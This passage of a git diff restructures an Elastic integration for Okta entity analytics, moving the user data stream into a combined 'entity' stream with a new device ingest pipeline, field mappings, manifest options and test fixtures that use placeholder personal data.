1\",\"registered\":true,\"diskEncryptionType\":\"ALL_INTERNAL_VOLUMES\",\"secureHardwarePresent\":false,\"platform\":\"WINDOWS\",\"sid\":\"S-1-11-111\"},\"id\":\"guo4a5u7YAHhjXrMK0g4\",\"users\":[{\"lastLogin\":\"2013-06-24T17:39:19.000Z\",\"lastUpdated\":\"2013-06-27T16:35:28.000Z\",\"passwordChanged\":\"2013-06-24T16:39:19.000Z\",\"credentials\":{\"provider\":{\"name\":\"OKTA\",\"type\":\"OKTA\"},\"recovery_question\":{}},\"created\":\"2013-06-24T16:39:18.000Z\",\"profile\":{\"profileUrl\":\"http://www.example.com/profile\",\"lastName\":\"Brock\",\"zipCode\":\"94107\",\"preferredLanguage\":\"en-US\",\"city\":\"San Francisco\",\"costCenter\":\"10\",\"displayName\":\"Isaac Brock\",\"nickName\":\"issac\",\"secondEmail\":\"isaac@example.org\",\"login\":\"isaac.brock@example.com\",\"title\":\"Director\",\"employeeNumber\":\"187\",\"division\":\"R&D\",\"firstName\":\"Isaac\",\"primaryPhone\":\"+1-555-514-1337\",\"mobilePhone\":\"+1-555-415-1337\",\"streetAddress\":\"301 Brannan St.\",\"countryCode\":\"US\",\"organization\":\"Okta\",\"state\":\"CA\",\"userType\":\"Employee\",\"department\":\"Engineering\",\"email\":\"isaac.brock@example.com\"},\"statusChanged\":\"2013-06-24T16:39:19.000Z\",\"id\":\"00ub0oNGTSWTBKOLGLNR\",\"activated\":\"2013-06-24T16:39:19.000Z\",\"status\":\"ACTIVE\"}],\"resourceType\":\"UDDevice\",\"status\":\"ACTIVE\"},\"tags\":[\"preserve_original_event\",\"preserve_duplicate_custom_fields\"],\"_index\":\"logs-entityanalytics_okta.entity-default\",\"_id\":\"_id\",\"_version\":-3}",
+ "type": [
+ "info"
+ ]
+ },
+ "input": {
+ "type": "entity-analytics"
+ },
+ "os": {
+ "platform": "windows"
+ },
+ "related": {
+ "user": [
+ "00ub0oNGTSWTBKOLGLNR",
+ "isaac.brock@example.com",
+ "issac",
+ "Isaac Brock"
+ ]
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields"
+ ]
+ }
+ ]
+}
diff --git a/packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-user.json b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-user.json
similarity index 100%
rename from packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-user.json
rename to packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-user.json
diff --git a/packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-user.json-expected.json b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-user.json-expected.json
similarity index 80%
rename from packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-user.json-expected.json
rename to packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-user.json-expected.json
index aa34d880b1b..9ace56c73b3 100644
--- a/packages/entityanalytics_okta/data_stream/user/_dev/test/pipeline/test-user.json-expected.json
+++ b/packages/entityanalytics_okta/data_stream/entity/_dev/test/pipeline/test-user.json-expected.json
@@ -15,6 +15,11 @@
"type": "okta_user",
"vendor": "OKTA"
},
+ "data_stream": {
+ "dataset": "entityanalytics_okta.user",
+ "namespace": "default",
+ "type": "logs"
+ },
"ecs": {
"version": "8.11.0"
},
@@ -78,7 +83,7 @@
"iam"
],
"kind": "asset",
- "original": "{\"input\":{\"type\":\"entity-analytics\"},\"@timestamp\":\"2023-06-13T07:12:17.341Z\",\"ecs\":{\"version\":\"8.11.0\"},\"groups\":[{\"profile\":{\"name\":\"Everyone\",\"description\":\"All users in your organization\"},\"id\":\"OGYzMDMwYjFmODBiNjli\"}],\"event\":{\"action\":\"user-modified\"},\"okta\":{\"lastLogin\":\"2013-06-24T17:39:19.000Z\",\"lastUpdated\":\"2013-06-27T16:35:28.000Z\",\"passwordChanged\":\"2013-06-24T16:39:19.000Z\",\"credentials\":{\"provider\":{\"name\":\"OKTA\",\"type\":\"OKTA\"},\"recovery_question\":{}},\"created\":\"2013-06-24T16:39:18.000Z\",\"profile\":{\"profileUrl\":\"http://www.example.com/profile\",\"lastName\":\"Brock\",\"zipCode\":\"94107\",\"preferredLanguage\":\"en-US\",\"city\":\"San Francisco\",\"costCenter\":\"10\",\"displayName\":\"Isaac Brock\",\"nickName\":\"issac\",\"secondEmail\":\"isaac@example.org\",\"login\":\"isaac.brock@example.com\",\"title\":\"Director\",\"employeeNumber\":\"187\",\"division\":\"R&D\",\"firstName\":\"Isaac\",\"primaryPhone\":\"+1-555-514-1337\",\"mobilePhone\":\"+1-555-415-1337\",\"streetAddress\":\"301 Brannan St.\",\"countryCode\":\"US\",\"organization\":\"Okta\",\"state\":\"CA\",\"userType\":\"Employee\",\"department\":\"Engineering\",\"email\":\"isaac.brock@example.com\"},\"statusChanged\":\"2013-06-24T16:39:19.000Z\",\"id\":\"00ub0oNGTSWTBKOLGLNR\",\"activated\":\"2013-06-24T16:39:19.000Z\",\"status\":\"ACTIVE\"},\"user\":{\"id\":\"00u5tvodynDjUCNKn697\"},\"tags\":[\"preserve_original_event\",\"preserve_duplicate_custom_fields\"],\"_index\":\"logs-entityanalytics_okta.user-default\",\"_id\":\"_id\",\"_version\":-3}",
+ "original": "{\"input\":{\"type\":\"entity-analytics\"},\"@timestamp\":\"2023-06-13T07:12:17.341Z\",\"ecs\":{\"version\":\"8.11.0\"},\"groups\":[{\"profile\":{\"name\":\"Everyone\",\"description\":\"All users in your organization\"},\"id\":\"OGYzMDMwYjFmODBiNjli\"}],\"event\":{\"kind\":\"asset\"},\"okta\":{\"lastLogin\":\"2013-06-24T17:39:19.000Z\",\"lastUpdated\":\"2013-06-27T16:35:28.000Z\",\"passwordChanged\":\"2013-06-24T16:39:19.000Z\",\"credentials\":{\"provider\":{\"name\":\"OKTA\",\"type\":\"OKTA\"},\"recovery_question\":{}},\"created\":\"2013-06-24T16:39:18.000Z\",\"profile\":{\"profileUrl\":\"http://www.example.com/profile\",\"lastName\":\"Brock\",\"zipCode\":\"94107\",\"preferredLanguage\":\"en-US\",\"city\":\"San Francisco\",\"costCenter\":\"10\",\"displayName\":\"Isaac Brock\",\"nickName\":\"issac\",\"secondEmail\":\"isaac@example.org\",\"login\":\"isaac.brock@example.com\",\"title\":\"Director\",\"employeeNumber\":\"187\",\"division\":\"R&D\",\"firstName\":\"Isaac\",\"primaryPhone\":\"+1-555-514-1337\",\"mobilePhone\":\"+1-555-415-1337\",\"streetAddress\":\"301 Brannan St.\",\"countryCode\":\"US\",\"organization\":\"Okta\",\"state\":\"CA\",\"userType\":\"Employee\",\"department\":\"Engineering\",\"email\":\"isaac.brock@example.com\"},\"statusChanged\":\"2013-06-24T16:39:19.000Z\",\"id\":\"00ub0oNGTSWTBKOLGLNR\",\"activated\":\"2013-06-24T16:39:19.000Z\",\"status\":\"ACTIVE\"},\"user\":{\"id\":\"00u5tvodynDjUCNKn697\"},\"tags\":[\"preserve_original_event\",\"preserve_duplicate_custom_fields\"],\"_index\":\"logs-entityanalytics_okta.entity-default\",\"_id\":\"_id\",\"_version\":-3}",
"type": [
"user",
"info"
@@ -155,4 +160,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/entityanalytics_okta/data_stream/user/_dev/test/system/test-default-config.yml b/packages/entityanalytics_okta/data_stream/entity/_dev/test/system/test-default-config.yml
similarity index 96%
rename from packages/entityanalytics_okta/data_stream/user/_dev/test/system/test-default-config.yml
rename to packages/entityanalytics_okta/data_stream/entity/_dev/test/system/test-default-config.yml
index 166539ffd69..c0a19d3f519 100644
--- a/packages/entityanalytics_okta/data_stream/user/_dev/test/system/test-default-config.yml
+++ b/packages/entityanalytics_okta/data_stream/entity/_dev/test/system/test-default-config.yml
@@ -4,6 +4,7 @@ data_stream:
vars:
okta_domain: trial-xxxxxxx-admin.okta.com
okta_token: xxxx
+ dataset: all
preserve_duplicate_custom_fields: true
preserve_original_event: true
enable_request_tracer: true
@@ -43,4 +44,3 @@ data_stream:
JE3WRcwNIONSRY/9seTyK6y9ed61m40Bx92kO2H0Ld+vKkYnFWAoZNYEM0WZ0zWz
9EkWoxHOkvz1Pnp41Llpc7OPdbOQrx4=
-----END CERTIFICATE-----
-# the hit count may be 3 or 4, depending on whether an incremental update runs first
diff --git a/packages/entityanalytics_okta/data_stream/user/agent/stream/entity-analytics.yml.hbs b/packages/entityanalytics_okta/data_stream/entity/agent/stream/entity-analytics.yml.hbs
similarity index 100%
rename from packages/entityanalytics_okta/data_stream/user/agent/stream/entity-analytics.yml.hbs
rename to packages/entityanalytics_okta/data_stream/entity/agent/stream/entity-analytics.yml.hbs
diff --git a/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/default.yml b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/default.yml
new file mode 100644
index 00000000000..82d0601f3bc
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/default.yml
@@ -0,0 +1,65 @@
+---
+description: Pipeline for processing Okta entities.
+processors:
+ - set:
+ field: ecs.version
+ tag: set_ecs_version
+ value: 8.11.0
+
+ - remove:
+ field: event.action
+ if: ctx.event?.action != "started" && ctx.event?.action != "completed"
+ ignore_missing: true
+
+ - set:
+ field: event.kind
+ tag: set_event_kind
+ value: asset
+ - pipeline:
+ name: '{{ IngestPipeline "user" }}'
+ tag: pipeline_to_user
+ if: ctx.user?.id != null
+ - pipeline:
+ name: '{{ IngestPipeline "device" }}'
+ tag: pipeline_to_device
+ if: ctx.device?.id != null
+
+ - script:
+ lang: painless
+ description: Drops null/empty values recursively.
+ tag: painless_remove_null
+ source: |-
+ boolean drop(Object object) {
+ if (object == null || object == '') {
+ return true;
+ } else if (object instanceof Map) {
+ ((Map) object).values().removeIf(v -> drop(v));
+ return (((Map) object).size() == 0);
+ } else if (object instanceof List) {
+ ((List) object).removeIf(v -> drop(v));
+ return (((List) object).length == 0);
+ }
+ return false;
+ }
+ drop(ctx);
+ - set:
+ field: event.kind
+ tag: set_pipeline_error_into_event_kind
+ value: pipeline_error
+ if: ctx.error?.message != null
+ - append:
+ field: tags
+ value: preserve_original_event
+ allow_duplicates: false
+ if: ctx.error?.message != null
+on_failure:
+ - append:
+ field: error.message
+ value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+ - set:
+ field: event.kind
+ value: pipeline_error
+ - append:
+ field: tags
+ value: preserve_original_event
+ allow_duplicates: false
diff --git a/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/device.yml b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/device.yml
new file mode 100644
index 00000000000..71225cbbe44
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/device.yml
@@ -0,0 +1,255 @@
+---
+description: Pipeline for processing Okta Device logs.
+processors:
+ - script:
+ tag: script_add_event_original
+ lang: painless
+ description: Add "event.original"
+ if: ctx.tags != null && ctx.tags.contains('preserve_original_event')
+ source: |
+ def stringified_orig = Json.dump(ctx);
+ if (stringified_orig != null) {
+ if (ctx.event == null) {
+ ctx.event = new HashMap();
+ }
+ ctx.event.original = stringified_orig;
+ }
+ - remove:
+ field: event.action
+ if: ctx.event?.action != "started" && ctx.event?.action != "completed"
+ ignore_missing: true
+ - set:
+ field: event.kind
+ tag: set_event_kind
+ value: asset
+ - set:
+ field: event.category
+ tag: set_event_category
+ value: ['host']
+ - set:
+ field: event.type
+ tag: set_event_type
+ value: ['info']
+ - set:
+ field: asset.category
+ tag: set_asset_category
+ value: entity
+ - set:
+ field: asset.type
+ tag: set_asset_type
+ value: okta_device
+ - rename:
+ field: okta.id
+ target_field: entityanalytics_okta.device.id
+ tag: rename_device_id
+ ignore_missing: true
+ - set:
+ field: asset.id
+ copy_from: entityanalytics_okta.device.id
+ tag: set_asset_id
+ ignore_empty_value: true
+ - rename:
+ field: okta.status
+ target_field: entityanalytics_okta.device.status
+ tag: rename_device_status
+ ignore_missing: true
+ - set:
+ field: asset.status
+ copy_from: entityanalytics_okta.device.status
+ tag: set_asset_status
+ ignore_empty_value: true
+ - date:
+ field: okta.created
+ target_field: entityanalytics_okta.device.created
+ tag: date_device_created
+ formats:
+ - ISO8601
+ if: ctx.okta?.created != null && ctx.okta.created != ''
+ on_failure:
+ - remove:
+ field: okta.created
+ - append:
+ field: error.message
+ value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+ - set:
+ field: asset.create_date
+ copy_from: entityanalytics_okta.device.created
+ tag: set_asset_create_date
+ ignore_empty_value: true
+ - date:
+ field: okta.activated
+ target_field: entityanalytics_okta.device.activated
+ tag: date_device_activated
+ formats:
+ - ISO8601
+ if: ctx.okta?.activated != null && ctx.okta.activated != ''
+ on_failure:
+ - remove:
+ field: okta.activated
+ - append:
+ field: error.message
+ value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+ - date:
+ field: okta.statusChanged
+ target_field: entityanalytics_okta.device.status_changed
+ tag: date_device_status_changed
+ formats:
+ - ISO8601
+ if: ctx.okta?.statusChanged != null && ctx.okta.statusChanged != ''
+ on_failure:
+ - remove:
+ field: okta.statusChanged
+ - append:
+ field: error.message
+ value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+ - set:
+ field: asset.last_status_change_date
+ copy_from: entityanalytics_okta.device.status_changed
+ tag: set_asset_last_status_change_date
+ ignore_empty_value: true
+ - date:
+ field: okta.lastUpdated
+ target_field: entityanalytics_okta.device.last_updated
+ tag: date_device_last_updated
+ formats:
+ - ISO8601
+ if: ctx.okta?.lastUpdated != null && ctx.okta.lastUpdated != ''
+ on_failure:
+ - remove:
+ field: okta.lastUpdated
+ - append:
+ field: error.message
+ value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+ - set:
+ field: asset.last_updated
+ copy_from: entityanalytics_okta.device.last_updated
+ tag: set_asset_last_seen
+ ignore_empty_value: true
+ - rename:
+ field: okta.transitioningToStatus
+ target_field: entityanalytics_okta.device.transitioning_to_status
+ tag: user_transitioning_to_status
+ ignore_missing: true
+ - foreach:
+ field: okta.users
+ tag: foreach_okta_user_id
+ if: ctx.okta?.users instanceof List
+ ignore_failure: true
+ processor:
+ append:
+ field: related.user
+ value: '{{{_ingest._value.id}}}'
+ allow_duplicates: false
+ ignore_failure: true
+ - foreach:
+ field: okta.users
+ tag: foreach_okta_user_login
+ if: ctx.okta?.users instanceof List
+ ignore_failure: true
+ processor:
+ append:
+ field: related.user
+ value: '{{{_ingest._value.profile.login}}}'
+ allow_duplicates: false
+ ignore_failure: true
+ - foreach:
+ field: okta.users
+ tag: foreach_okta_user_nickName
+ if: ctx.okta?.users instanceof List
+ ignore_failure: true
+ processor:
+ append:
+ field: related.user
+ value: '{{{_ingest._value.profile.nickName}}}'
+ allow_duplicates: false
+ ignore_failure: true
+ - foreach:
+ field: okta.users
+ tag: foreach_okta_user_displayName
+ if: ctx.okta?.users instanceof List
+ ignore_failure: true
+ processor:
+ append:
+ field: related.user
+ value: '{{{_ingest._value.profile.displayName}}}'
+ allow_duplicates: false
+ ignore_failure: true
+ - lowercase:
+ field: okta.profile.platform
+ target_field: os.platform
+ tag: rename_device_profile_platform
+ ignore_missing: true
+ - rename:
+ field: okta.profile.displayName
+ target_field: entityanalytics_okta.device.profile.display_name
+ tag: rename_device_profile_display_name
+ ignore_missing: true
+ - rename:
+ field: okta.profile.sid
+ target_field: entityanalytics_okta.device.profile.sid
+ tag: rename_device_profile_sid
+ ignore_missing: true
+ - rename:
+ field: okta.profile.serialNumber
+ target_field: device.serial_number
+ tag: rename_device_profile_serial_number
+ ignore_missing: true
+ - rename:
+ field: okta.profile.diskEncryptionType
+ target_field: entityanalytics_okta.device.profile.disk_encryption_type
+ tag: rename_device_profile_display_name
+ ignore_missing: true
+ - convert:
+ field: okta.profile.registered
+ target_field: entityanalytics_okta.device.profile.registered
+ type: boolean
+ tag: convert_device_profile_registered
+ ignore_missing: true
+ on_failure:
+ - remove:
+ field: okta.profile.registered
+ - append:
+ field: error.message
+ value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+ - convert:
+ field: okta.profile.secureHardwarePresent
+ target_field: entityanalytics_okta.device.profile.secure_hardware_present
+ type: boolean
+ tag: convert_device_profile_secure_hardware_present
+ ignore_missing: true
+ on_failure:
+ - remove:
+ field: okta.profile.secure_hardware_present
+ - append:
+ field: error.message
+ value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+ - set:
+ field: asset.name
+ copy_from: entityanalytics_okta.device.profile.display_name
+ tag: set_asset_name
+ ignore_empty_value: true
+ - rename:
+ field: okta._links
+ target_field: entityanalytics_okta.device._links
+ tag: rename_device_links
+ ignore_missing: true
+ - rename:
+ field: okta._embedded
+ target_field: entityanalytics_okta.device._embedded
+ tag: rename_device_embedded
+ ignore_missing: true
+ - remove:
+ field:
+ - okta
+ tag: remove_okta
+ ignore_missing: true
+ - remove:
+ field:
+ - entityanalytics_okta.device.status
+ - entityanalytics_okta.device.activated
+ - entityanalytics_okta.device.status_changed
+ - entityanalytics_okta.device.created
+ - entityanalytics_okta.device.id
+ tag: remove_duplicate_custom_fields
+ ignore_missing: true
+ if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields'))
diff --git a/packages/entityanalytics_okta/data_stream/user/elasticsearch/ingest_pipeline/default.yml b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/user.yml
similarity index 94%
rename from packages/entityanalytics_okta/data_stream/user/elasticsearch/ingest_pipeline/default.yml
rename to packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/user.yml
index a3d986eaf8a..3cf129bf1ec 100644
--- a/packages/entityanalytics_okta/data_stream/user/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/entityanalytics_okta/data_stream/entity/elasticsearch/ingest_pipeline/user.yml
@@ -1,10 +1,6 @@
---
description: Pipeline for processing User logs.
processors:
- - set:
- field: ecs.version
- tag: set_ecs_version
- value: 8.11.0
- script:
tag: script_add_event_original
lang: painless
@@ -664,42 +660,3 @@ processors:
tag: remove_duplicate_custom_fields
ignore_missing: true
if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields'))
- - script:
- lang: painless
- description: Drops null/empty values recursively.
- tag: painless_remove_null
- source: |-
- boolean drop(Object object) {
- if (object == null || object == '') {
- return true;
- } else if (object instanceof Map) {
- ((Map) object).values().removeIf(v -> drop(v));
- return (((Map) object).size() == 0);
- } else if (object instanceof List) {
- ((List) object).removeIf(v -> drop(v));
- return (((List) object).length == 0);
- }
- return false;
- }
- drop(ctx);
- - set:
- field: event.kind
- tag: set_pipeline_error_into_event_kind
- value: pipeline_error
- if: ctx.error?.message != null
- - append:
- field: tags
- value: preserve_original_event
- allow_duplicates: false
- if: ctx.error?.message != null
-on_failure:
- - append:
- field: error.message
- value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
- - set:
- field: event.kind
- value: pipeline_error
- - append:
- field: tags
- value: preserve_original_event
- allow_duplicates: false
diff --git a/packages/entityanalytics_okta/data_stream/entity/fields/base-fields.yml b/packages/entityanalytics_okta/data_stream/entity/fields/base-fields.yml
new file mode 100644
index 00000000000..d23b291e37f
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/fields/base-fields.yml
@@ -0,0 +1,20 @@
+- name: data_stream.type
+ type: constant_keyword
+ description: Data stream type.
+- name: data_stream.dataset
+ type: constant_keyword
+ description: Data stream dataset.
+- name: data_stream.namespace
+ type: constant_keyword
+ description: Data stream namespace.
+- name: event.module
+ type: constant_keyword
+ description: Event module.
+ value: entityanalytics_okta
+- name: event.dataset
+ type: constant_keyword
+ description: Event dataset.
+ value: entityanalytics_okta.entity
+- name: '@timestamp'
+ type: date
+ description: Event timestamp.
diff --git a/packages/entityanalytics_okta/data_stream/entity/fields/beats.yml b/packages/entityanalytics_okta/data_stream/entity/fields/beats.yml
new file mode 100644
index 00000000000..4084f1dc7f5
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/fields/beats.yml
@@ -0,0 +1,6 @@
+- name: input.type
+ type: keyword
+ description: Type of filebeat input.
+- name: log.offset
+ type: long
+ description: Log offset.
diff --git a/packages/entityanalytics_okta/data_stream/entity/fields/ecs.yml b/packages/entityanalytics_okta/data_stream/entity/fields/ecs.yml
new file mode 100644
index 00000000000..61b1130c100
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/fields/ecs.yml
@@ -0,0 +1,107 @@
+- name: asset
+ type: group
+ fields:
+ - name: category
+ type: keyword
+ - name: costCenter
+ type: keyword
+ - name: create_date
+ type: date
+ - name: id
+ type: keyword
+ - name: last_seen
+ type: date
+ - name: last_status_change_date
+ type: date
+ - name: last_updated
+ type: date
+ - name: name
+ type: keyword
+ - name: status
+ type: keyword
+ - name: type
+ type: keyword
+ - name: vendor
+ type: keyword
+- name: labels
+ type: group
+ fields:
+ - name: identity_source
+ type: keyword
+- name: user
+ type: group
+ fields:
+ - name: account
+ type: group
+ fields:
+ - name: activated_date
+ type: date
+ - name: change_date
+ type: date
+ - name: create_date
+ type: date
+ - name: password_change_date
+ type: date
+ - name: status
+ type: group
+ fields:
+ - name: deprovisioned
+ type: boolean
+ - name: locked_out
+ type: boolean
+ - name: password_expired
+ type: boolean
+ - name: recovery
+ type: boolean
+ - name: suspended
+ type: boolean
+ - name: geo
+ type: group
+ fields:
+ - name: city_name
+ type: keyword
+ - name: country_iso_code
+ type: keyword
+ - name: name
+ type: keyword
+ - name: postal_code
+ type: keyword
+ - name: region_name
+ type: keyword
+ - name: timezone
+ type: keyword
+ - name: organization
+ type: group
+ fields:
+ - name: name
+ type: keyword
+ - name: profile
+ type: group
+ fields:
+ - name: department
+ type: keyword
+ - name: first_name
+ type: keyword
+ - name: id
+ type: keyword
+ - name: job_title
+ type: keyword
+ - name: last_name
+ type: keyword
+ - name: manager
+ type: keyword
+ - name: mobile_phone
+ type: keyword
+ - name: other_identities
+ type: keyword
+ - name: primaryPhone
+ type: keyword
+ - name: secondEmail
+ type: keyword
+ - name: status
+ type: keyword
+ - name: type
+ type: keyword
+- name: device.serial_number
+ type: keyword
+ description: The unique serial number serves as a distinct identifier for each device, aiding in inventory management and device authentication.
diff --git a/packages/entityanalytics_okta/data_stream/entity/fields/fields.yml b/packages/entityanalytics_okta/data_stream/entity/fields/fields.yml
new file mode 100644
index 00000000000..ac8fe04cac3
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/fields/fields.yml
@@ -0,0 +1,220 @@
+- name: entityanalytics_okta
+ type: group
+ fields:
+ - name: device
+ type: group
+ fields:
+ - name: _embedded
+ type: flattened
+ description: embedded resources related to the device.
+ - name: _links
+ type: flattened
+ description: link relations for the device's current status.
+ - name: activated
+ type: date
+ description: timestamp when transition to ACTIVE status completed.
+ - name: created
+ type: date
+ description: timestamp when device was created.
+ - name: id
+ type: keyword
+ description: unique key for device.
+ - name: last_login
+ type: date
+ description: timestamp of last login.
+ - name: last_updated
+ type: date
+ description: timestamp when device was last updated.
+ - name: password_changed
+ type: date
+ description: timestamp when password last changed.
+ - name: profile
+ type: group
+ fields:
+ - name: registered
+ type: boolean
+ description: Whether the device is registered.
+ - name: secure_hardware_present
+ type: boolean
+ description: Whether the device is using secure hardware.
+ - name: "*"
+ type: keyword
+ - name: status
+ type: keyword
+ description: current status of device.
+ - name: status_changed
+ type: date
+ description: timestamp when status last changed.
+ - name: transitioning_to_status
+ type: keyword
+ description: target status of an in-progress asynchronous status transition.
+ - name: type
+ type: flattened
+ description: device type that determines the schema for the device's profile.
+ - name: users
+ type: flattened
+ description: Users associated with the device.
+ - name: user
+ type: group
+ fields:
+ - name: _embedded
+ type: flattened
+ description: embedded resources related to the user.
+ - name: _links
+ type: flattened
+ description: link relations for the user's current status.
+ - name: activated
+ type: date
+ description: timestamp when transition to ACTIVE status completed.
+ - name: created
+ type: date
+ description: timestamp when user was created.
+ - name: credentials
+ type: group
+ fields:
+ - name: provider
+ type: group
+ fields:
+ - name: name
+ type: keyword
+ - name: type
+ type: keyword
+ - name: recovery_question.is_set
+ type: boolean
+ - name: id
+ type: keyword
+ description: unique key for user.
+ - name: last_login
+ type: date
+ description: timestamp of last login.
+ - name: last_updated
+ type: date
+ description: timestamp when user was last updated.
+ - name: password_changed
+ type: date
+ description: timestamp when password last changed.
+ - name: profile
+ type: group
+ fields:
+ - name: city
+ type: keyword
+ description: City or locality component of user's address (locality).
+ - name: cost_center
+ type: keyword
+ description: Name of a cost center assigned to user.
+ - name: country_code
+ type: keyword
+ description: Country name component of user's address (country).
+ - name: department
+ type: keyword
+ description: Name of user's department.
+ - name: display_name
+ type: keyword
+ description: Name of the user, suitable for display to end users.
+ - name: division
+ type: keyword
+ description: Name of user's division.
+ - name: email
+ type: keyword
+ description: Primary email address of user.
+ - name: employee_number
+ type: keyword
+ description: Organization or company assigned unique identifier for the user.
+ - name: first_name
+ type: keyword
+ description: Given name of the user (givenName).
+ - name: honorific
+ type: group
+ fields:
+ - name: prefix
+ type: keyword
+ description: Honorific prefix(es) of the user, or title in most Western languages.
+ - name: suffix
+ type: keyword
+ description: Honorific suffix(es) of the user.
+ - name: last_name
+ type: keyword
+ description: Family name of the user (familyName).
+ - name: locale
+ type: keyword
+ description: User's default location for purposes of localizing items such as currency, date time format, numerical representations, and so on.
+ - name: login
+ type: keyword
+ description: Unique identifier for the user (username).
+ - name: manager
+ type: group
+ fields:
+ - name: id
+ type: keyword
+ description: id of a user's manager.
+ - name: name
+ type: keyword
+ description: displayName of the user's manager.
+ - name: middle_name
+ type: keyword
+ description: Middle name(s) of the user.
+ - name: mobile_phone
+ type: keyword
+ description: Mobile phone number of user.
+ - name: nick_name
+ type: keyword
+ description: Casual way to address the user in real life.
+ - name: organization
+ type: keyword
+ description: Name of user's organization.
+ - name: postal_address
+ type: keyword
+ description: Mailing address component of user's address.
+ - name: preferred_language
+ type: keyword
+ description: User's preferred written or spoken languages.
+ - name: primary_phone
+ type: keyword
+ description: Primary phone number of user such as home number.
+ - name: second_email
+ type: keyword
+ description: Secondary email address of user typically used for account recovery.
+ - name: state
+ type: keyword
+ description: State or region component of user's address (region).
+ - name: street_address
+ type: keyword
+ description: Full street address component of user's address.
+ - name: timezone
+ type: keyword
+ description: User's time zone.
+ - name: title
+ type: keyword
+ description: User's title, such as "Vice President".
+ - name: url
+ type: keyword
+ description: 'URL of user''s online profile (for example: a web page).'
+ - name: user_type
+ type: keyword
+ description: Used to describe the organization to user relationship such as "Employee" or "Contractor".
+ - name: zip_code
+ type: keyword
+ description: ZIP code or postal code component of user's address (postalCode).
+ - name: status
+ type: keyword
+ description: current status of user.
+ - name: status_changed
+ type: date
+ description: timestamp when status last changed.
+ - name: transitioning_to_status
+ type: keyword
+ description: target status of an in-progress asynchronous status transition.
+ - name: type
+ type: flattened
+ description: user type that determines the schema for the user's profile.
+ - name: groups
+ type: group
+ fields:
+ - name: id
+ type: keyword
+ description: The ID for the group.
+ - name: profile.*
+ type: object
+ description: Group profile details.
+ object_type: keyword
+ object_type_mapping_type: '*'
diff --git a/packages/entityanalytics_okta/data_stream/entity/manifest.yml b/packages/entityanalytics_okta/data_stream/entity/manifest.yml
new file mode 100644
index 00000000000..04afa05f160
--- /dev/null
+++ b/packages/entityanalytics_okta/data_stream/entity/manifest.yml
@@ -0,0 +1,150 @@
+title: Collect User Identities logs from Okta
+dataset: entityanalytics_okta.entity
+type: logs
+streams:
+ - input: entity-analytics
+ title: User Identities logs
+ enabled: false
+ description: Collect User Identities logs from Okta.
+ template_path: entity-analytics.yml.hbs
+ vars:
+ - name: okta_domain
+ type: text
+ title: Domain
+ multi: false
+ required: true
+ show_user: true
+ description: The Okta domain.
+ - name: okta_token
+ type: password
+ title: Okta API Token
+ multi: false
+ required: true
+ show_user: true
+ description: The Okta API token, used for authentication.
+ secret: true
+ - name: dataset
+ type: select
+ title: Okta Dataset
+ multi: false
+ required: false
+ show_user: true
+ description: The dataset to collect from the API. Selecting all or devices requires that the devices API has been activated in Okta. Note that this option has no effect when the stack version is below 8.11.
+ options:
+ - value: all
+ text: all
+ - value: users
+ text: users
+ - value: devices
+ text: devices
+ default: users
+ - name: sync_interval
+ type: text
+ title: Sync Interval
+ description: How often full synchronizations should occur. Must be greater than Update Interval. Expected value is a duration string (15m, 1h, 1m30, etc), defaults to 24h. Supported units for this parameter are h/m/s.
+ multi: false
+ required: true
+ show_user: true
+ default: 24h
+ - name: update_interval
+ type: text
+ title: Update Interval
